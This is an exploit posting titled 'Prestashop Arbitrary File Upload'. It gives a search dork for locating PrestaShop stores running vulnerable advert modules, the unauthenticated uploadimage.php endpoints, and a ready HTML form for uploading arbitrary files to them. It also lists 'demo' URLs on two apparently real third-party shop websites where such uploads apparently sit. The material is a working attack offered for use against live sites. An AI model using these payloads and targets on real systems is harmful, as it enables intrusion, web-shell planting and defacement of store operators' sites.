##############################################################
> Exploit Title: Prestashop Arbitrary File Upload
> Exploit Author: HxN | facebook.com/CowoKerensTeam
> Dork : inurl:"/modules/columnadverts2/" or inurl:"/modules/columnadverts/"
> Website : https://www.prestashop.com/
> Date : 2016/08/21
> Tested on : Ubuntu , Win 8
############################################################
POC :
target.il/modules/columnadverts2/uploadimage.php
target.il/modules/columnadverts2/uploadimage.php
Vuln : "error"
##############################################################
CSRF :
<form method="POST" action="target.il/modules/namemodule/uploadimage.php"
enctype="multipart/form-data">
<input type="file" name="userfile" /><button>Upload</button>
</form>
###############################################################
> DEMO :
> http://www.rossoregale.com/modules/homepageadvertise2/slides/id.htm
> http://orita.es/modules/homepageadvertise2/slides/id.htm
##############################################################
